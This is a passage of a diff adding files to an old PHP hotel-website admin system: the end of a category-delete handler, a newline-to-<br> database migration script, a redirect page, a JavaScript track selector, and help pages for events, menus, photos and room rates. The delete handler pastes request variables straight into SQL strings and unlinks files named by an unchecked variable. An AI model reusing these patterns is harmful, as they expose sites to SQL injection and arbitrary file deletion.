+
+ $res = db_exec($dbd,$qs);
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+
+ if($row['count'] >0) {
+ html_error("Sorry but you have items in there\n
+ Delete these records first\n",1);
+ }
+
+ $qs = "SELECT parent
+ FROM bus_category
+ WHERE parent = $id";
+
+ $res = db_exec($dbd,$qs);
+
+ if(db_numrows($res) >0) {
+ html_error("Sorry but you have Categories in there\n
+ Delete these Categories first\n",1);
+ }
+
+ $qs = "SELECT pos,id
+ FROM bus_category
+ WHERE parent = $oldparent
+ AND pos > $oldpos
+ ORDER BY pos";
+
+ $res2 = db_exec($dbd,$qs);
+ $oldparent_counter = $oldpos;
+ for($i=0;$i<db_numrows($res2);$i++) {
+ $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+ $qs = "UPDATE bus_category
+ SET pos = $oldparent_counter
+ WHERE id = $row2[id]";
+
+ db_exec($dbd,$qs);
+ $oldparent_counter++;
+ }
+
+ $qs2 = "DELETE
+ FROM bus_category
+ WHERE id = $id";
+
+ if(!db_auto_exec($qs2)) html_error(DB_ERROR_MSG.$qs2,1);
+
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+
+ $location = "list_bus_category.phtml?".SID;
+
+ break;
+
+ case "Cancel":
+ $location = "list_bus_category.phtml?".SID;
+ break;
+
+ default:
+ html_error("incorrect value for Command",1);
+ break;
+ }
+
+header("Location: $location");
+}
+?>
--- /dev/null
+<?php
+ /* If you don't have a newsletter installed then comment oeut the part where it updates
+ the news and news_block tables
+ or else this will rollback (since it is in a transaction)
+ :)
+ */
+ require_once('../../setup.phtml');
+ require_once(BASE.'classes/class_db.inc');
+ require_once(BASE.'classes/class_template.inc');
+
+ $DB =& new GLM_DB();
+ $DB->db_connect();
+ $DB->db_exec( "BEGIN WORK" );
+
+ echo 'replacing newlines with <br> in bus_category<br>';
+ $DB->db_exec( "update bus_category set description = replace(description,'\\n','<br>')" );
+ echo 'replacing newlines with <br> in bus<br>';
+ $DB->db_exec( "update bus set description = replace(description,'\\n','<br>')" );
+ $DB->db_exec( "update bus set description2 = replace(description2,'\\n','<br>')" );
+ $DB->db_exec( "update bus set description3 = replace(description3,'\\n','<br>')" );
+
+ echo 'replacing newlines with <br> in news<br>';
+ $DB->db_exec( "update news set description = replace(description,'\\n','<br>')" );
+ echo 'replacing newlines with <br> in news_block<br>';
+ $DB->db_exec( "update news_block set description2 = replace(description2,'\\n','<br>')" );
+
+ $DB->db_exec( "COMMIT WORK" );
+?>
--- /dev/null
+<!DOCTYPE HTML>
+<html lang="en-US">
+ <head>
+ <meta charset="UTF-8">
+ <meta http-equiv="Refresh" content="5; url=https://www.google.com/analytics/web/?hl=en/">
+ <title>Page Redirection</title>
+ </head>
+ <body>
+ <a href="https://www.google.com/analytics/web/?hl=en/" target="Google">link to example</a>
+ </body>
+</html>
+
--- /dev/null
+function reshow(object) {
+ artist = object.options[object.selectedIndex].text;
+ for (var i = document.track.names.length;i > 0;i--)
+ document.track.names.options[0] = null;
+ reloading = true;
+ showlinks();
+ document.track.names.options[0].selected = true;
+ return false;
+}
+
+function load(object) {
+ alert('Just testing: ' + object.options[object.selectedIndex].value);
+ //window.location.href = object.options[object.selectedIndex].value;
+ return false;
+}
+
+function showlinks() {
+ if (artist == 'Chris Rea') {
+ opt('cr/one.zip','The Road To Hell');
+ opt('cr/two.zip','Let\'s Dance');
+ }
+
+ if (artist == 'Annie Lennox') {
+ opt('al/why.zip','Why');
+ opt('al/wobg.zip','Walking on Broken Glass');
+ }
+
+ if (artist == 'Dina Carrol') {
+ opt('dc/track1.zip','Escaping');
+ opt('dc/track2.zip','Only Human');
+ }
+}
+
+function opt(href,text) {
+ if (reloading) {
+ var optionName = new Option(text, href, false, false)
+ var length = document.track.names.length;
+ document.track.names.options[length] = optionName;
+ }
+ else
+ document.write('<OPTION VALUE="',href,'">',text,'<\/OPTION>');
+}
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Events Calendar Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Events</h4>
+
+<P>
+This page lists the existing Events.
+</p>
+<p>
+<b>Add A New Event</b>
+</p>
+<p>This link will allow you to add new Event</p>
+<p>
+<b>List Events</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>Edit Topics</b>
+</p>
+<p>This link will allow you to edit Topics associated with Events</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Event</p>
+<p>
+<b>[Delete]</b>
+</p>
+<p>This link will let you Delete an existing Event</p>
+<p>
+<b>ON/OFF</b>
+</p>
+<p>There is either a green or red ball in line with each existing Event.
+If the ball is green, the Event is currently visable on the front end of your
+web site. If the ball is red, the event is not visable on the front end of your
+web site. You can easily toggle Event visability by clicking on the ball. If the
+ball was red, and you clicked on it, it should turn green.</p>
+
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit an Event</h4>
+<P>
+This page is for editing and modifying an existing Event in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Events" page.
+</p>
+
+<p>
+<b>Hotel:</b>
+</p>
+<p>This Select Box will determine which Hotel's Web site the Event will be
+displayed on. For example, if you have an Event which you only want displayed
+on the Chippewa Hotel's web site, choose "Chippewa Hotel." You may choose
+either hotel, or both. Note that this is NOT the location where the event is
+taking place (that should be entered in the "Location" field).</p>
+<p>
+<b>Topic:</b>
+</p>
+<p>This is the Topic that the Event will be searchable by. You may select
+a topic from the Select Box, or you may enter a previously non-existant topic
+in the textbox to the right. Please note that if you decide to enter a new
+topic, select "New Topic: (Enter -->)" from the Select Box.
+</p>
+
+<p>
+<b>Start Date:</b>
+</p>
+<p>This is date upon which the Event will begin. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>End Date:</b>
+</p>
+<p>This is date upon which the Event will end. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>Start Time:</b>
+</p>
+<p>This is time upon which the Event will begin. It may be formatted however
+you like, i.e. 8:15 pm or 8 o'clock or ???
+</p>
+<p>
+<b>End Time:</b>
+</p>
+<p>This is time upon which the Event will end. It may be formatted however
+you like, i.e. 8:15 pm or 8 o'clock or ???
+</p>
+<p>
+<b>Location:</b>
+</p>
+<p>This is location where the event will take place. i.e. Pink Pony Bar and Grill
+</p>
+
+<p>
+<b>Header (One Line Desc.):</b>
+</p>
+<p>This is the text which will appear as a brief summary of the Event</p>
+<p>
+<b>Full Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Event,
+in the Detailed output of the Event</p>
+<p>
+<b>Additional Web Address for Event:</b>
+</p>
+<p>This is URL which will be placed on the Detailed description of the Event.
+This field must be formatted as: http://www.somesite.com </p>
+<p>
+<b>Email of event contact person:</b>
+</p>
+<p>This is email address will be placed on the Detailed description of the
+Event. This field must be a valid email address, such as: jack@foo.com</p>
+<p>
+<b>Picture for Event:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Event. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Show Event:</b>
+</p>
+<p>This Select Box will determine whether or not the Event is viewable
+on the front end of you web site.
+The Default value is "Yes" meaning that the event will be visable.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Event,
+you can click "Submit Query." This will update the information about the
+Event in the database.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add An Event</h4>
+<P>
+This page is for editing and modifying an existing Event in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Events" page.
+</p>
+
+<p>
+<b>Hotel:</b>
+</p>
+<p>This Select Box will determine which Hotel's Web site the Event will be
+displayed on. For example, if you have an Event which you only want displayed
+on the Chippewa Hotel's web site, choose "Chippewa Hotel." You may choose
+either hotel, or both. Note that this is NOT the location where the event is
+taking place (that should be entered in the "Location" field).</p>
+<p>
+<b>Topic:</b>
+</p>
+<p>This is the Topic that the Event will be searchable by. You may select
+a topic from the Select Box, or you may enter a previously non-existant topic
+in the textbox to the right. Please note that if you decide to enter a new
+topic, select "New Topic: (Enter -->)" from the Select Box.
+</p>
+
+<p>
+<b>Start Date:</b>
+</p>
+<p>This is date upon which the Event will begin. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>End Date:</b>
+</p>
+<p>This is date upon which the Event will end. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>Start Time:</b>
+</p>
+<p>This is time upon which the Event will begin. It may be formatted however
+you like, i.e. 8:15 pm or 8 o'clock or ???
+</p>
+<p>
+<b>End Time:</b>
+</p>
+<p>This is time upon which the Event will end. It may be formatted however
+you like, i.e. 8:15 pm or 8 o'clock or ???
+</p>
+<p>
+<b>Location:</b>
+</p>
+<p>This is location where the event will take place. i.e. Pink Pony Bar and Grill
+</p>
+
+<p>
+<b>Header (One Line Desc.):</b>
+</p>
+<p>This is the text which will appear as a brief summary of the Event</p>
+<p>
+<b>Full Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Event,
+in the Detailed output of the Event</p>
+<p>
+<b>Additional Web Address for Event:</b>
+</p>
+<p>This is URL which will be placed on the Detailed description of the Event.
+This field must be formatted as: http://www.somesite.com </p>
+<p>
+<b>Email of event contact person:</b>
+</p>
+<p>This is email address will be placed on the Detailed description of the
+Event. This field must be a valid email address, such as: jack@foo.com</p>
+<p>
+<b>Picture for Event:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Event. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Show Event:</b>
+</p>
+<p>This Select Box will determine whether or not the Event is viewable
+on the front end of you web site.
+The Default value is "Yes" meaning that the event will be visable.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have edited the Event to your liking,
+you can click "Submit Query." This will add the Event to the database.
+</p>
+<?
+ break;
+ case "edittopic":
+ ?>
+<h4 align="center">Edit Topics</h4>
+<p>
+<b>Existing Topic:</b>
+</p>
+<p>
+This Select Box lists all existing Topics by name. You should choose the
+Topic that you wish to Edit/Delete
+</p>
+<p>
+<b>Change Topic Name:</b>
+</p>
+<p>If you type something into this Text Box, it will change the name
+of the Topic selected under "Existing Topic:" after you click "Change Name"
+</p>
+<p>
+<b>[Delete]</b>
+</p>
+<p>If you click [Delete] you will remove the Topic Selected under "Existing
+Topic" (Be Careful)
+</p>
+
+<p>
+<b>Change Name</b>
+</p>
+<p>When you selected a Topic to change, and entered the new name in the
+Text Box, you can click "Change Name" to change the Topic's name in the
+database.
+</p>
+<?
+ break;
+
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Menu Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Menu Items</h4>
+
+<P>
+This page lists the existing Menu Items under a particular Category in the database.
+</p>
+<p>
+<b>Add A New Menu Item</b>
+</p>
+<p>This link will allow you to add new Menu Item</p>
+<p>
+<b>List Menu Items</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>List Categories</b>
+</p>
+<p>This link will take you back to the listing of all Categories</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Menu Item</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Menu Item</h4>
+<P>
+This page is for editing and modifying an existing Menu Item in the
+database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Menu Items" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Menu Item" i.e. "Hamburger"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Menu Item will appear in on the Menu. The
+default value is the current Category.</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Menu Item. This text will be
+displayed below the Menu Item on the menu.
+</p>
+<p>
+<b>Price:</b>
+</p>
+<p>This is the text which will appear on the Menu as the price.
+Note that you should format the Price just as you wish it to appear on the
+Menu. i.e. '$16.00' not '16'
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Menu Item,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Menu Item</h4>
+<P>
+This page is for adding new Menu Items in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Menu Items" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Menu Item" i.e. "Hamburger"</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Menu Item. This text will be
+displayed below the Menu Item on the menu.
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have made the changes you want to the Menu Item,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Menu Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Categories</h4>
+
+<P>
+This page lists the existing Menu Categories in the database.
+</p>
+<p>
+<b>Add A New Category</b>
+</p>
+<p>This link will allow you to add new Categories</p>
+<p>
+<b>List Categories</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Category</p>
+<p>
+<b>[List Menu]</b>
+</p>
+<p>
+This link will list out the Menu Items associated with a particular Category
+</p>
+
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Category</h4>
+<P>
+This page is for editing and modifying the existing Menu Categores in the
+database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Menu Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Entrees"</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Category. This text will be
+displayed below the Category Title on the menu.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Cateogry,
+you can click "Update." This will update the information about the Category
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Category, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Category</h4>
+<P>
+This page is for adding Menu Categories in the database.
+When editing is complete, click on the "Add" button. The database will
+be updated, and you will be directed back to the "List Menu Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Entrees"</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Category. This text will be
+displayed below the Category Title on the menu.
+</p>
+<p>
+<b>Add</b>
+</p>
+<p>When you have made the changes you want to the Cateogry,
+you can click "Add." This will add the information about the new Category
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Newsletter Help</H4>
+
+<P>
+This page is for editing and modifying the existing Newsletter in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed to an area where you can view the
+updated Newsletter.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear on the top of the Newsletter</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the actual body of the Newletter. Whatever you type in this field
+will be shown as the body of the Newsletter.
+The body may have multiple paragraphs. By hitting return twice, you place a
+blank line in the copy.
+</p>
+
+<p>
+<b>Mail Out:</b>
+</p>
+<p>This "Select Box" will determine whether or not the Newsletter gets emailed
+to members of your Contact Database. If you change the Mail Out option to "Yes"
+then the Newsletter will be emailed out, and updated on your web page.
+Otherwise, the Newsletter will only be updated on your web page. The default
+is "No"
+</P>
+
+<p>
+<b>Members from which Hotel:</b>
+</p>
+<p>This "Select Box" will determine who to email the Newsletter to. Note that
+this is only pertinent if "Mail Out" is set to "Yes." The default is members
+from your own Hotel, however, you can also choose to email the Newsletter to
+registered members from "Both Hotels"
+</p>
+
+<p>
+<b>Update</b>
+<p>
+
+<p>When you have made the changes you want to the Newsletter, and determined
+whether or not to email it out, you can click "Update." This will take the
+appropriate action, and direct you to a page where you can view the contents
+and email recipients of the Newsletter
+</p>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Photo Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Photos</h4>
+
+<P>
+This page lists the existing Photos under a particular Category in the database.
+</p>
+<p>
+<b>Add A New Photo</b>
+</p>
+<p>This link will allow you to add new Menu Item</p>
+<p>
+<b>List Photos</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>List Categories</b>
+</p>
+<p>This link will take you back to the listing of all Categories</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Photo</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Photo</h4>
+<P>
+This page is for editing and modifying an existing Photo in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Photos" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Photo" i.e. "View of the Straits"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Photo will appear in on the Gallery Page. The
+default value is the current Category.</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Photo. This text will be
+displayed with the Photo in the Gallery.
+</p>
+
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update", you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>Image:</b>
+</p>
+<p>
+To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Photo,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Photo</h4>
+<P>
+This page is for adding new Photos in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Photos" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Photo" i.e. "View of the Straits"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Photo will appear in on the Gallery Page. The
+default value is the current Category.</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Photo. This text will be
+displayed with the Photo in the Gallery.
+</p>
+
+<p>
+<b>Image:</b>
+</p>
+<p>
+To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have made the changes you want to the Menu Item,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Menu Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Categories</h4>
+
+<P>
+This page lists the existing Photo Gallery Categories in the database.
+</p>
+<p>
+<b>Add A New Category</b>
+</p>
+<p>This link will allow you to add new Categories</p>
+<p>
+<b>List Categories</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Category</p>
+<p>
+<b>[List Photos]</b>
+</p>
+<p>
+This link will list out the Photo Gallery Items associated with a particular Category
+</p>
+
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Category</h4>
+<P>
+This page is for editing and modifying the existing Photo Gallery Categories in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Menu Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title in the Gallery.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro in the Gallery.
+</p>
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image associated with this Category.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update" the Room Rate, you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Cateogry,
+you can click "Update." This will update the information about the Category
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Category, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Category</h4>
+<P>
+This page is for adding Photo Gallery Categories in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title in the Gallery.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro in the Gallery.
+</p>
+<p>
+<b>Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the information you want for the Cateogry,
+you can click "Insert." This will add the information about the new Category
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Room Rates Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Room Rates</h4>
+
+<P>
+This page lists the existing Room Rates from the database.
+</p>
+<p>
+<b>Add A New Room Rate</b>
+</p>
+<p>This link will allow you to add new Room Rate</p>
+<p>
+<b>List Room Rates</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Room Rate</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Room Rate</h4>
+<P>
+This page is for editing and modifying an existing Room Rate in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Room Rates" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Room Rates" i.e. "Standard Rooms"</p>
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image associated with this Room Rate.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update" the Room Rate, you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Room Rate. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Spring-Fall Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Spring through Fall Period.
+</p>
+<p>
+<b>Spring-Fall Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Spring and Fall Periods.
+</p>
+<p>
+<b>Summer Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Summer Period.
+</p>
+<p>
+<b>Summer Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Summer Period.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Room Rate,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add A Room Rate</h4>
+<P>
